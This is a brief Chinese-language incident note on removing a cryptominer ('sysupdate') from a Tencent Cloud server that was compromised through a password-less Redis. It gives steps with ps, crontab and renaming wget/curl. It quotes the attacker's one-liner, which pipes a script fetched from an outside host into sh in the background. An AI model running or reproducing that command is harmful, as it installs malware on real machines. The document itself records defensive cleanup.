记录腾讯云被挖矿解决方案

1、查看腾云云监控 ，cpu百分之四百，带宽沾满，ssh连接超卡。

开机立马top 看到 sysupdate 占用cpu百分之三百

ps -aux | grep sysupdate

2、修改下载的命令

mv /bin/wget /bin/wge

mv /bin/curl /bin/cur

 

mv /usr/bin/wget /usr/bin/wge

mv /usr/bin/curl /usr/bin/cur

攻击脚本

(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &

 

 

开机启动的文件

/etc/bashrc

crontab -l  查看定时任务

crontab -r  删除定时任务

crontab -e 编辑定时任务

 

redis没加密码导致